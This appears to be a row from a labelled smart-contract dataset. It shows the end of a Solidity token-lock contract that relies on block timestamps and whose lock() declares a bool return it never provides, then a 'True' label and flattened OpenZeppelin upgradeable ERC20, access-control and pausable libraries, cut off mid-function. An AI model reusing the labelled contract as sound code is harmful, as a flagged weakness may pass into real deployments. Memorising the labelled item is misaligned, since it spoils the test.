function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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|
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Pausable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Pausable.sol
pragma solidity ^0.6.0;
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeSafe is Initializable, ERC20UpgradeSafe, PausableUpgradeSafe {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
